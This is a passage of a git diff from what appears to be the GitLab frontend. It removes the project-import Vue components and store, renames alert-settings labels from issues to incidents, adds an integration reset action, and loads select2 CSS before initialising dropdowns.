-import Select2Select from '~/vue_shared/components/select2_select.vue';
-import { __ } from '~/locale';
-import ImportStatus from './import_status.vue';
-import { STATUSES } from '../constants';
-import { isProjectImportable, isIncompatible, getImportStatus } from '../utils';
-
-export default {
- name: 'ProviderRepoTableRow',
- components: {
- Select2Select,
- ImportStatus,
- GlIcon,
- GlBadge,
- },
- props: {
- repo: {
- type: Object,
- required: true,
- },
- availableNamespaces: {
- type: Array,
- required: true,
- },
- },
-
- computed: {
- ...mapState(['ciCdOnly']),
- ...mapGetters(['getImportTarget']),
-
- displayFullPath() {
- return this.repo.importedProject.fullPath.replace(/^\//, '');
- },
-
- isFinished() {
- return this.repo.importedProject?.importStatus === STATUSES.FINISHED;
- },
-
- isImportNotStarted() {
- return isProjectImportable(this.repo);
- },
-
- isIncompatible() {
- return isIncompatible(this.repo);
- },
-
- importStatus() {
- return getImportStatus(this.repo);
- },
-
- importTarget() {
- return this.getImportTarget(this.repo.importSource.id);
- },
-
- importButtonText() {
- return this.ciCdOnly ? __('Connect') : __('Import');
- },
-
- select2Options() {
- return {
- data: this.availableNamespaces,
- containerCssClass: 'import-namespace-select qa-project-namespace-select w-auto',
- };
- },
-
- targetNamespaceSelect: {
- get() {
- return this.importTarget.targetNamespace;
- },
- set(value) {
- this.updateImportTarget({ targetNamespace: value });
- },
- },
-
- newNameInput: {
- get() {
- return this.importTarget.newName;
- },
- set(value) {
- this.updateImportTarget({ newName: value });
- },
- },
- },
-
- methods: {
- ...mapActions(['fetchImport', 'setImportTarget']),
- updateImportTarget(changedValues) {
- this.setImportTarget({
- repoId: this.repo.importSource.id,
- importTarget: { ...this.importTarget, ...changedValues },
- });
- },
- },
-};
-</script>
-
-<template>
- <tr class="qa-project-import-row import-row">
- <td>
- <a
- :href="repo.importSource.providerLink"
- rel="noreferrer noopener"
- target="_blank"
- data-testid="providerLink"
- >{{ repo.importSource.fullName }}
- <gl-icon v-if="repo.importSource.providerLink" name="external-link" />
- </a>
- </td>
- <td class="d-flex flex-wrap flex-lg-nowrap" data-testid="fullPath">
- <template v-if="repo.importSource.target">{{ repo.importSource.target }}</template>
- <template v-else-if="isImportNotStarted">
- <select2-select v-model="targetNamespaceSelect" :options="select2Options" />
- <span class="px-2 import-slash-divider d-flex justify-content-center align-items-center"
- >/</span
- >
- <input
- v-model="newNameInput"
- type="text"
- class="form-control import-project-name-input qa-project-path-field"
- />
- </template>
- <template v-else-if="repo.importedProject">{{ displayFullPath }}</template>
- </td>
- <td>
- <import-status :status="importStatus" />
- </td>
- <td data-testid="actions">
- <a
- v-if="isFinished"
- class="btn btn-default"
- :href="repo.importedProject.fullPath"
- rel="noreferrer noopener"
- target="_blank"
- >{{ __('Go to project') }}
- </a>
- <button
- v-if="isImportNotStarted"
- type="button"
- class="qa-import-button btn btn-default"
- @click="fetchImport(repo.importSource.id)"
- >
- {{ importButtonText }}
- </button>
- <gl-badge v-else-if="isIncompatible" variant="danger">{{
- __('Incompatible project')
- }}</gl-badge>
- </td>
- </tr>
-</template>
diff --git a/app/assets/javascripts/import_projects/index.js b/app/assets/javascripts/import_projects/index.js
deleted file mode 100644
index 79fbd58e355..00000000000
--- a/app/assets/javascripts/import_projects/index.js
+++ /dev/null
@@ -1,67 +0,0 @@
-import Vue from 'vue';
-import Translate from '../vue_shared/translate';
-import ImportProjectsTable from './components/import_projects_table.vue';
-import { parseBoolean } from '../lib/utils/common_utils';
-import { queryToObject } from '../lib/utils/url_utility';
-import createStore from './store';
-
-Vue.use(Translate);
-
-export function initStoreFromElement(element) {
- const {
- ciCdOnly,
- canSelectNamespace,
- provider,
-
- reposPath,
- jobsPath,
- importPath,
- namespacesPath,
- paginatable,
- } = element.dataset;
-
- const params = queryToObject(document.location.search);
- const page = parseInt(params.page ?? 1, 10);
-
- return createStore({
- initialState: {
- defaultTargetNamespace: gon.current_username,
- ciCdOnly: parseBoolean(ciCdOnly),
- canSelectNamespace: parseBoolean(canSelectNamespace),
- provider,
- pageInfo: {
- page,
- },
- },
- endpoints: {
- reposPath,
- jobsPath,
- importPath,
- namespacesPath,
- },
- hasPagination: parseBoolean(paginatable),
- });
-}
-
-export function initPropsFromElement(element) {
- return {
- providerTitle: element.dataset.providerTitle,
- filterable: parseBoolean(element.dataset.filterable),
- paginatable: parseBoolean(element.dataset.paginatable),
- };
-}
-
-export default function mountImportProjectsTable(mountElement) {
- if (!mountElement) return undefined;
-
- const store = initStoreFromElement(mountElement);
- const props = initPropsFromElement(mountElement);
-
- return new Vue({
- el: mountElement,
- store,
- render(createElement) {
- return createElement(ImportProjectsTable, { props });
- },
- });
-}
diff --git a/app/assets/javascripts/import_projects/store/getters.js b/app/assets/javascripts/import_projects/store/getters.js
deleted file mode 100644
index b76c52beea2..00000000000
--- a/app/assets/javascripts/import_projects/store/getters.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import { STATUSES } from '../constants';
-import { isProjectImportable, isIncompatible } from '../utils';
-
-export const isLoading = state => state.isLoadingRepos || state.isLoadingNamespaces;
-
-export const isImportingAnyRepo = state =>
- state.repositories.some(repo =>
- [STATUSES.SCHEDULING, STATUSES.SCHEDULED, STATUSES.STARTED].includes(
- repo.importedProject?.importStatus,
- ),
- );
-
-export const hasIncompatibleRepos = state => state.repositories.some(isIncompatible);
-
-export const hasImportableRepos = state => state.repositories.some(isProjectImportable);
-
-export const importAllCount = state => state.repositories.filter(isProjectImportable).length;
-
-export const getImportTarget = state => repoId => {
- if (state.customImportTargets[repoId]) {
- return state.customImportTargets[repoId];
- }
-
- const repo = state.repositories.find(r => r.importSource.id === repoId);
-
- return {
- newName: repo.importSource.sanitizedName,
- targetNamespace: state.defaultTargetNamespace,
- };
-};
diff --git a/app/assets/javascripts/import_projects/store/mutations.js b/app/assets/javascripts/import_projects/store/mutations.js
deleted file mode 100644
index 6999253d4b2..00000000000
--- a/app/assets/javascripts/import_projects/store/mutations.js
+++ /dev/null
@@ -1,149 +0,0 @@
-import Vue from 'vue';
-import * as types from './mutation_types';
-import { STATUSES } from '../constants';
-
-const makeNewImportedProject = importedProject => ({
- importSource: {
- id: importedProject.id,
- fullName: importedProject.importSource,
- sanitizedName: importedProject.name,
- providerLink: importedProject.providerLink,
- },
- importedProject,
-});
-
-const makeNewIncompatibleProject = project => ({
- importSource: { ...project, incompatible: true },
- importedProject: null,
-});
-
-const processLegacyEntries = ({ newRepositories, existingRepositories, factory }) => {
- const newEntries = [];
- newRepositories.forEach(project => {
- const existingProject = existingRepositories.find(p => p.importSource.id === project.id);
- const importedProjectShape = factory(project);
-
- if (existingProject) {
- Object.assign(existingProject, importedProjectShape);
- } else {
- newEntries.push(importedProjectShape);
- }
- });
- return newEntries;
-};
-
-export default {
- [types.SET_FILTER](state, filter) {
- state.filter = filter;
- state.repositories = [];
- state.pageInfo.page = 0;
- },
-
- [types.REQUEST_REPOS](state) {
- state.isLoadingRepos = true;
- },
-
- [types.RECEIVE_REPOS_SUCCESS](state, repositories) {
- state.isLoadingRepos = false;
-
- if (!Array.isArray(repositories)) {
- // Legacy code path, will be removed when all importers will be switched to new pagination format
- // https://gitlab.com/gitlab-org/gitlab/-/issues/27370#note_379034091
-
- const newImportedProjects = processLegacyEntries({
- newRepositories: repositories.importedProjects,
- existingRepositories: state.repositories,
- factory: makeNewImportedProject,
- });
-
- const incompatibleRepos = repositories.incompatibleRepos ?? [];
- const newIncompatibleProjects = processLegacyEntries({
- newRepositories: incompatibleRepos,
- existingRepositories: state.repositories,
- factory: makeNewIncompatibleProject,
- });
-
- state.repositories = [
- ...newImportedProjects,
- ...state.repositories,
- ...repositories.providerRepos.map(project => ({
- importSource: project,
- importedProject: null,
- })),
- ...newIncompatibleProjects,
- ];
-
- if (incompatibleRepos.length === 0 && repositories.providerRepos.length === 0) {
- state.pageInfo.page -= 1;
- }
-
- return;
- }
-
- state.repositories = [...state.repositories, ...repositories];
- if (repositories.length === 0) {
- state.pageInfo.page -= 1;
- }
- },
-
- [types.RECEIVE_REPOS_ERROR](state) {
- state.isLoadingRepos = false;
- },
-
- [types.REQUEST_IMPORT](state, { repoId, importTarget }) {
- const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importedProject = {
- importStatus: STATUSES.SCHEDULING,
- fullPath: `/${importTarget.targetNamespace}/${importTarget.newName}`,
- };
- },
-
- [types.RECEIVE_IMPORT_SUCCESS](state, { importedProject, repoId }) {
- const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importedProject = importedProject;
- },
-
- [types.RECEIVE_IMPORT_ERROR](state, repoId) {
- const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importedProject = null;
- },
-
- [types.RECEIVE_JOBS_SUCCESS](state, updatedProjects) {
- updatedProjects.forEach(updatedProject => {
- const repo = state.repositories.find(p => p.importedProject?.id === updatedProject.id);
- if (repo?.importedProject) {
- repo.importedProject.importStatus = updatedProject.importStatus;
- }
- });
- },
-
- [types.REQUEST_NAMESPACES](state) {
- state.isLoadingNamespaces = true;
- },
-
- [types.RECEIVE_NAMESPACES_SUCCESS](state, namespaces) {
- state.isLoadingNamespaces = false;
- state.namespaces = namespaces;
- },
-
- [types.RECEIVE_NAMESPACES_ERROR](state) {
- state.isLoadingNamespaces = false;
- },
-
- [types.SET_IMPORT_TARGET](state, { repoId, importTarget }) {
- const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
-
- if (
- importTarget.targetNamespace === state.defaultTargetNamespace &&
- importTarget.newName === existingRepo.importSource.sanitizedName
- ) {
- Vue.delete(state.customImportTargets, repoId);
- } else {
- Vue.set(state.customImportTargets, repoId, importTarget);
- }
- },
-
- [types.SET_PAGE](state, page) {
- state.pageInfo.page = page;
- },
-};
diff --git a/app/assets/javascripts/import_projects/utils.js b/app/assets/javascripts/import_projects/utils.js
deleted file mode 100644
index 695b12cbcba..00000000000
--- a/app/assets/javascripts/import_projects/utils.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import { STATUSES } from './constants';
-
-export function isIncompatible(project) {
- return project.importSource.incompatible;
-}
-
-export function getImportStatus(project) {
- return project.importedProject?.importStatus ?? STATUSES.NONE;
-}
-
-export function isProjectImportable(project) {
- return !isIncompatible(project) && getImportStatus(project) === STATUSES.NONE;
-}
diff --git a/app/assets/javascripts/importer_status.js b/app/assets/javascripts/importer_status.js
deleted file mode 100644
index 078c50ee9c6..00000000000
--- a/app/assets/javascripts/importer_status.js
+++ /dev/null
@@ -1,149 +0,0 @@
-import $ from 'jquery';
-import { escape } from 'lodash';
-import { __, sprintf } from './locale';
-import axios from './lib/utils/axios_utils';
-import { deprecatedCreateFlash as flash } from './flash';
-import { parseBoolean, spriteIcon } from './lib/utils/common_utils';
-
-class ImporterStatus {
- constructor({ jobsUrl, importUrl, ciCdOnly }) {
- this.jobsUrl = jobsUrl;
- this.importUrl = importUrl;
- this.ciCdOnly = ciCdOnly;
- this.initStatusPage();
- this.setAutoUpdate();
- }
-
- initStatusPage() {
- $('.js-add-to-import')
- .off('click')
- .on('click', this.addToImport.bind(this));
-
- $('.js-import-all')
- .off('click')
- .on('click', function onClickImportAll() {
- const $btn = $(this);
- $btn.disable().addClass('is-loading');
- return $('.js-add-to-import').each(function triggerAddImport() {
- return $(this).trigger('click');
- });
- });
- }
-
- addToImport(event) {
- const $btn = $(event.currentTarget);
- const $tr = $btn.closest('tr');
- const $targetField = $tr.find('.import-target');
- const $namespaceInput = $targetField.find('.js-select-namespace option:selected');
- const repoData = $tr.data();
- const id = repoData.id || $tr.attr('id').replace('repo_', '');
-
- let targetNamespace;
- let newName;
- if ($namespaceInput.length > 0) {
- targetNamespace = $namespaceInput[0].innerHTML;
- newName = $targetField.find('#path').prop('value');
- $targetField.empty().append(`${targetNamespace}/${newName}`);
- }
- $btn.disable().addClass('is-loading');
-
- this.id = id;
-
- let attributes = {
- repo_id: id,
- target_namespace: targetNamespace,
- new_name: newName,
- ci_cd_only: this.ciCdOnly,
- };
-
- if (repoData) {
- attributes = Object.assign(repoData, attributes);
- }
-
- return axios
- .post(this.importUrl, attributes)
- .then(({ data }) => {
- const job = $tr;
- job.attr('id', `project_${data.id}`);
-
- job.find('.import-target').html(`<a href="${data.full_path}">${data.full_path}</a>`);
- $('table.import-jobs tbody').prepend(job);
-
- job.addClass('table-active');
- const connectingVerb = this.ciCdOnly ? __('connecting') : __('importing');
- job.find('.import-actions').html(
- sprintf(
- escape(__('%{loadingIcon} Started')),
- {
- loadingIcon: `<i class="fa fa-spinner fa-spin" aria-label="${escape(
- connectingVerb,
- )}"></i>`,
- },
- false,
- ),
- );
- })
- .catch(error => {
- let details = error;
-
- const $statusField = $tr.find('.job-status');
- $statusField.text(__('Failed'));
-
- if (error.response && error.response.data && error.response.data.errors) {
- details = error.response.data.errors;
- }
-
- flash(sprintf(__('An error occurred while importing project: %{details}'), { details }));
- });
- }
-
- autoUpdate() {
- return axios.get(this.jobsUrl).then(({ data = [] }) => {
- data.forEach(job => {
- const jobItem = $(`#project_${job.id}`);
- const statusField = jobItem.find('.job-status');
-
- const spinner = '<i class="fa fa-spinner fa-spin"></i>';
-
- switch (job.import_status) {
- case 'finished':
- jobItem.removeClass('table-active').addClass('table-success');
- statusField.html(`<span>${spriteIcon('check', 's16')} ${__('Done')}</span>`);
- break;
- case 'scheduled':
- statusField.html(`${spinner} ${__('Scheduled')}`);
- break;
- case 'started':
- statusField.html(`${spinner} ${__('Started')}`);
- break;
- case 'failed':
- statusField.html(__('Failed'));
- break;
- default:
- statusField.html(job.import_status);
- break;
- }
- });
- });
- }
-
- setAutoUpdate() {
- setInterval(this.autoUpdate.bind(this), 4000);
- }
-}
-
-// eslint-disable-next-line consistent-return
-function initImporterStatus() {
- const importerStatus = document.querySelector('.js-importer-status');
-
- if (importerStatus) {
- const data = importerStatus.dataset;
- return new ImporterStatus({
- jobsUrl: data.jobsImportPath,
- importUrl: data.importPath,
- ciCdOnly: parseBoolean(data.ciCdOnly),
- });
- }
-}
-
-export { initImporterStatus as default, ImporterStatus };
diff --git a/app/assets/javascripts/incidents_settings/components/alerts_form.vue b/app/assets/javascripts/incidents_settings/components/alerts_form.vue
index 5fe0badc56e..e8daad8811e 100644
--- a/app/assets/javascripts/incidents_settings/components/alerts_form.vue
+++ b/app/assets/javascripts/incidents_settings/components/alerts_form.vue
@@ -86,7 +86,7 @@ export default {
<form ref="settingsForm" @submit.prevent="updateAlertsIntegrationSettings">
<gl-form-group class="gl-pl-0">
<gl-form-checkbox v-model="createIssueEnabled" data-qa-selector="create_issue_checkbox">
- <span>{{ $options.i18n.createIssue.label }}</span>
+ <span>{{ $options.i18n.createIncident.label }}</span>
</gl-form-checkbox>
</gl-form-group>
@@ -96,7 +96,7 @@ export default {
class="col-8 col-md-9 gl-px-6"
>
<label class="gl-display-inline-flex" for="alert-integration-settings-issue-template">
- {{ $options.i18n.issueTemplate.label }}
+ {{ $options.i18n.incidentTemplate.label }}
<gl-link :href="$options.ISSUE_TEMPLATES_DOCS_LINK" target="_blank">
<gl-icon name="question" :size="12" />
</gl-link>
diff --git a/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue b/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
index 9a8c4bc5af9..b56dd66342a 100644
--- a/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
+++ b/app/assets/javascripts/incidents_settings/components/pagerduty_form.vue
@@ -109,7 +109,20 @@ export default {
{{ webhookUpdateAlertMsg }}
</gl-alert>
- <p>{{ $options.i18n.introText }}</p>
+ <p>
+ <gl-sprintf :message="$options.i18n.introText">
+ <template #link="{ content }">
+ <gl-link
+ :href="$options.CONFIGURE_PAGERDUTY_WEBHOOK_DOCS_LINK"
+ target="_blank"
+ class="gl-display-inline-flex"
+ >
+ <span>{{ content }}</span>
+ <gl-icon name="external-link" />
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
<form ref="settingsForm" @submit.prevent="updatePagerDutyIntegrationSettings">
<gl-form-group class="col-8 col-md-9 gl-p-0">
<gl-toggle
@@ -134,23 +147,9 @@ export default {
</template>
</gl-form-input-group>
- <div class="gl-text-gray-200 gl-pt-2">
- <gl-sprintf :message="$options.i18n.webhookUrl.helpText">
- <template #docsLink>
- <gl-link
- :href="$options.CONFIGURE_PAGERDUTY_WEBHOOK_DOCS_LINK"
- target="_blank"
- class="gl-display-inline-flex"
- >
- <span>{{ $options.i18n.webhookUrl.helpDocsLink }}</span>
- <gl-icon name="external-link" />
- </gl-link>
- </template>
- </gl-sprintf>
- </div>
<gl-button
v-gl-modal.resetWebhookModal
- class="gl-mt-3"
+ class="gl-mt-5"
:disabled="loading"
:loading="resettingWebhook"
data-testid="webhook-reset-btn"
diff --git a/app/assets/javascripts/incidents_settings/constants.js b/app/assets/javascripts/incidents_settings/constants.js
index 42f1f645d16..fcac9c519c2 100644
--- a/app/assets/javascripts/incidents_settings/constants.js
+++ b/app/assets/javascripts/incidents_settings/constants.js
@@ -33,17 +33,17 @@ export const I18N_ALERT_SETTINGS_FORM = {
saveBtnLabel: __('Save changes'),
introText: __('Action to take when receiving an alert. %{docsLink}'),
introLinkText: __('More information.'),
- createIssue: {
- label: __('Create an issue. Issues are created for each alert triggered.'),
+ createIncident: {
+ label: __('Create an incident. Incidents are created for each alert triggered.'),
},
- issueTemplate: {
- label: __('Issue template (optional)'),
+ incidentTemplate: {
+ label: __('Incident template (optional)'),
},
sendEmail: {
label: __('Send a separate email notification to Developers.'),
},
autoCloseIncidents: {
- label: __('Automatically close incident issues when the associated Prometheus alert resolves.'),
+ label: __('Automatically close incidents when the associated Prometheus alert resolves.'),
},
};
@@ -57,17 +57,13 @@ export const ISSUE_TEMPLATES_DOCS_LINK =
export const I18N_PAGERDUTY_SETTINGS_FORM = {
introText: s__(
- 'PagerDutySettings|Setting up a webhook with PagerDuty will automatically create a GitLab issue for each PagerDuty incident.',
+ 'PagerDutySettings|Create a GitLab incident for each PagerDuty incident by %{linkStart}configuring a webhook in PagerDuty%{linkEnd}',
),
activeToggle: {
label: s__('PagerDutySettings|Active'),
},
webhookUrl: {
label: s__('PagerDutySettings|Webhook URL'),
- helpText: s__(
- 'PagerDutySettings|Create a GitLab issue for each PagerDuty incident by %{docsLink}',
- ),
- helpDocsLink: s__('PagerDutySettings|configuring a webhook in PagerDuty'),
resetWebhookUrl: s__('PagerDutySettings|Reset webhook URL'),
copyToClipboard: __('Copy'),
updateErrMsg: s__('PagerDutySettings|Failed to update Webhook URL'),
diff --git a/app/assets/javascripts/integrations/edit/components/integration_form.vue b/app/assets/javascripts/integrations/edit/components/integration_form.vue
index bbfa865905a..c6f8ba8dcb2 100644
--- a/app/assets/javascripts/integrations/edit/components/integration_form.vue
+++ b/app/assets/javascripts/integrations/edit/components/integration_form.vue
@@ -33,7 +33,14 @@ export default {
mixins: [glFeatureFlagsMixin()],
computed: {
...mapGetters(['currentKey', 'propsSource', 'isDisabled']),
- ...mapState(['defaultState', 'override', 'isSaving', 'isTesting', 'isResetting']),
+ ...mapState([
+ 'defaultState',
+ 'customState',
+ 'override',
+ 'isSaving',
+ 'isTesting',
+ 'isResetting',
+ ]),
isEditable() {
return this.propsSource.editable;
},
@@ -42,8 +49,8 @@ export default {
},
isInstanceOrGroupLevel() {
return (
- this.propsSource.integrationLevel === integrationLevels.INSTANCE ||
- this.propsSource.integrationLevel === integrationLevels.GROUP
+ this.customState.integrationLevel === integrationLevels.INSTANCE ||
+ this.customState.integrationLevel === integrationLevels.GROUP
);
},
showJiraIssuesFields() {
@@ -52,9 +59,18 @@ export default {
showReset() {
return this.isInstanceOrGroupLevel && this.propsSource.resetPath;
},
+ saveButtonKey() {
+ return `save-button-${this.isDisabled}`;
+ },
},
methods: {
- ...mapActions(['setOverride', 'setIsSaving', 'setIsTesting', 'setIsResetting']),
+ ...mapActions([
+ 'setOverride',
+ 'setIsSaving',
+ 'setIsTesting',
+ 'setIsResetting',
+ 'fetchResetIntegration',
+ ]),
onSaveClick() {
this.setIsSaving(true);
eventHub.$emit('saveIntegration');
@@ -63,7 +79,9 @@ export default {
this.setIsTesting(true);
eventHub.$emit('testIntegration');
},
- onResetClick() {},
+ onResetClick() {
+ this.fetchResetIntegration();
+ },
},
};
</script>
@@ -102,6 +120,7 @@ export default {
<div v-if="isEditable" class="footer-block row-content-block">
<template v-if="isInstanceOrGroupLevel">
<gl-button
+ :key="saveButtonKey"
v-gl-modal.confirmSaveIntegration
category="primary"
variant="success"
@@ -115,6 +134,7 @@ export default {
</template>
<gl-button
v-else
+ :key="saveButtonKey"
category="primary"
variant="success"
type="submit"
diff --git a/app/assets/javascripts/integrations/edit/store/actions.js b/app/assets/javascripts/integrations/edit/store/actions.js
index 097304be242..421917b720a 100644
--- a/app/assets/javascripts/integrations/edit/store/actions.js
+++ b/app/assets/javascripts/integrations/edit/store/actions.js
@@ -1,3 +1,5 @@
+import axios from 'axios';
+import { refreshCurrentPage } from '~/lib/utils/url_utility';
import * as types from './mutation_types';
export const setOverride = ({ commit }, override) => commit(types.SET_OVERRIDE, override);
@@ -5,3 +7,22 @@ export const setIsSaving = ({ commit }, isSaving) => commit(types.SET_IS_SAVING,
export const setIsTesting = ({ commit }, isTesting) => commit(types.SET_IS_TESTING, isTesting);
export const setIsResetting = ({ commit }, isResetting) =>
commit(types.SET_IS_RESETTING, isResetting);
+
+export const requestResetIntegration = ({ commit }) => {
+ commit(types.REQUEST_RESET_INTEGRATION);
+};
+export const receiveResetIntegrationSuccess = () => {
+ refreshCurrentPage();
+};
+export const receiveResetIntegrationError = ({ commit }) => {
+ commit(types.RECEIVE_RESET_INTEGRATION_ERROR);
+};
+
+export const fetchResetIntegration = ({ dispatch, getters }) => {
+ dispatch('requestResetIntegration');
+
+ return axios
+ .post(getters.propsSource.resetPath, { params: { format: 'json' } })
+ .then(() => dispatch('receiveResetIntegrationSuccess'))
+ .catch(() => dispatch('receiveResetIntegrationError'));
+};
diff --git a/app/assets/javascripts/integrations/edit/store/mutation_types.js b/app/assets/javascripts/integrations/edit/store/mutation_types.js
index 2a84408f658..54928148b22 100644
--- a/app/assets/javascripts/integrations/edit/store/mutation_types.js
+++ b/app/assets/javascripts/integrations/edit/store/mutation_types.js
@@ -2,3 +2,6 @@ export const SET_OVERRIDE = 'SET_OVERRIDE';
export const SET_IS_SAVING = 'SET_IS_SAVING';
export const SET_IS_TESTING = 'SET_IS_TESTING';
export const SET_IS_RESETTING = 'SET_IS_RESETTING';
+
+export const REQUEST_RESET_INTEGRATION = 'REQUEST_RESET_INTEGRATION';
+export const RECEIVE_RESET_INTEGRATION_ERROR = 'RECEIVE_RESET_INTEGRATION_ERROR';
diff --git a/app/assets/javascripts/integrations/edit/store/mutations.js b/app/assets/javascripts/integrations/edit/store/mutations.js
index 07e3e25ccf0..826757e665b 100644
--- a/app/assets/javascripts/integrations/edit/store/mutations.js
+++ b/app/assets/javascripts/integrations/edit/store/mutations.js
@@ -13,4 +13,10 @@ export default {
[types.SET_IS_RESETTING](state, isResetting) {
state.isResetting = isResetting;
},
+ [types.REQUEST_RESET_INTEGRATION](state) {
+ state.isResetting = true;
+ },
+ [types.RECEIVE_RESET_INTEGRATION_ERROR](state) {
+ state.isResetting = false;
+ },
};
diff --git a/app/assets/javascripts/integrations/integration_settings_form.js b/app/assets/javascripts/integrations/integration_settings_form.js
index 1d0814125e6..14d6f133d27 100644
--- a/app/assets/javascripts/integrations/integration_settings_form.js
+++ b/app/assets/javascripts/integrations/integration_settings_form.js
@@ -35,12 +35,14 @@ export default class IntegrationSettingsForm {
}
saveIntegration() {
- // Service was marked active so now we check;
+ // Save Service if not active and check the following if active;
// 1) If form contents are valid
// 2) If this service can be saved
// If both conditions are true, we override form submission
// and save the service using provided configuration.
- if (this.$form.get(0).checkValidity()) {
+ const formValid = this.$form.get(0).checkValidity() || this.formActive === false;
+
+ if (formValid) {
this.$form.submit();
} else {
eventHub.$emit('validateForm');
diff --git a/app/assets/javascripts/issuable/auto_width_dropdown_select.js b/app/assets/javascripts/issuable/auto_width_dropdown_select.js
index e0fb58ef195..12f03873958 100644
--- a/app/assets/javascripts/issuable/auto_width_dropdown_select.js
+++ b/app/assets/javascripts/issuable/auto_width_dropdown_select.js
@@ -1,4 +1,5 @@
import $ from 'jquery';
+import { loadCSSFile } from '../lib/utils/css_utils';
let instanceCount = 0;
@@ -13,10 +14,15 @@ class AutoWidthDropdownSelect {
const { dropdownClass } = this;
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- this.$selectElement.select2({
- dropdownCssClass: dropdownClass,
- ...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
- });
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ this.$selectElement.select2({
+ dropdownCssClass: dropdownClass,
+ ...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
+ });
+ })
+ .catch(() => {});
})
.catch(() => {});
diff --git a/app/assets/javascripts/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable_bulk_update_actions.js
index c7806fc17fc..6ba21cd7869 100644
--- a/app/assets/javascripts/issuable_bulk_update_actions.js
+++ b/app/assets/javascripts/issuable_bulk_update_actions.js
@@ -15,6 +15,7 @@ export default {
},
bindEvents() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
return this.form.off('submit').on('submit', this.onFormSubmit.bind(this));
},
diff --git a/app/assets/javascripts/issuable_context.js b/app/assets/javascripts/issuable_context.js
index 6f2bd2da078..2072e41514d 100644
--- a/app/assets/javascripts/issuable_context.js
+++ b/app/assets/javascripts/issuable_context.js
@@ -2,6 +2,7 @@ import $ from 'jquery';
import Cookies from 'js-cookie';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import UsersSelect from './users_select';
+import { loadCSSFile } from './lib/utils/css_utils';
export default class IssuableContext {
constructor(currentUser) {
@@ -10,10 +11,15 @@ export default class IssuableContext {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- $('select.select2').select2({
- width: 'resolve',
- dropdownAutoWidth: true,
- });
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $('select.select2').select2({
+ width: 'resolve',
+ dropdownAutoWidth: true,
+ });
+ })
+ .catch(() => {});
})
.catch(() => {});
diff --git a/app/assets/javascripts/issuable_create/components/issuable_create_root.vue b/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
index 1ef42976032..f4cbaba9313 100644
--- a/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
+++ b/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
@@ -29,7 +29,7 @@ export default {
<template>
<div class="issuable-create-container">
<slot name="title"></slot>
- <hr />
+ <hr class="gl-mt-0" />
<issuable-form
:description-preview-path="descriptionPreviewPath"
:description-help-path="descriptionHelpPath"
diff --git a/app/assets/javascripts/issuable_form.js b/app/assets/javascripts/issuable_form.js
index ed34e2f5623..791b5fef699 100644
--- a/app/assets/javascripts/issuable_form.js
+++ b/app/assets/javascripts/issuable_form.js
@@ -7,6 +7,7 @@ import ZenMode from './zen_mode';
import AutoWidthDropdownSelect from './issuable/auto_width_dropdown_select';
import { parsePikadayDate, pikadayToString } from './lib/utils/datetime_utility';
import { queryToObject, objectToQuery } from './lib/utils/url_utility';
+import { loadCSSFile } from './lib/utils/css_utils';
const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
const MR_TARGET_BRANCH = 'merge_request[target_branch]';
@@ -184,36 +185,41 @@ export default class IssuableForm {
initTargetBranchDropdown() {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- this.$targetBranchSelect.select2({
- ...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
- ajax: {
- url: this.$targetBranchSelect.data('endpoint'),
- dataType: 'JSON',
- quietMillis: 250,
- data(search) {
- return {
- search,
- };
- },
- results(data) {
- return {
- // `data` keys are translated so we can't just access them with a string based key
- results: data[Object.keys(data)[0]].map(name => ({
- id: name,
- text: name,
- })),
- };
- },
- },
- initSelection(el, callback) {
- const val = el.val();
-
- callback({
- id: val,
- text: val,
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ this.$targetBranchSelect.select2({
+ ...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
+ ajax: {
+ url: this.$targetBranchSelect.data('endpoint'),
+ dataType: 'JSON',
+ quietMillis: 250,
+ data(search) {
+ return {
+ search,
+ };
+ },
+ results(data) {
+ return {
+ // `data` keys are translated so we can't just access them with a string based key
+ results: data[Object.keys(data)[0]].map(name => ({
+ id: name,
+ text: name,
+ })),
+ };
+ },
+ },
+ initSelection(el, callback) {
+ const val = el.val();
+
+ callback({
+ id: val,
+ text: val,
+ });
+ },
});
- },
- });
+ })
+ .catch(() => {});
})
.catch(() => {});
}
diff --git a/app/assets/javascripts/issuable_list/components/issuable_item.vue b/app/assets/javascripts/issuable_list/components/issuable_item.vue
index 1ee794ab208..583e5cb703d 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_item.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_item.vue
@@ -128,7 +128,7 @@ export default {
<template>
<li class="issue gl-px-5!">
- <div class="issue-box">
+ <div class="issuable-info-container">
<div v-if="showCheckbox" class="issue-check">
<gl-form-checkbox
class="gl-mr-0"
@@ -136,101 +136,99 @@ export default {
@input="$emit('checked-input', $event)"
/>
</div>
- <div class="issuable-info-container">
- <div class="issuable-main-info">
- <div data-testid="issuable-title" class="issue-title title">
- <span class="issue-title-text" dir="auto">
- <gl-link :href="issuable.webUrl" v-bind="issuableTitleProps"
- >{{ issuable.title
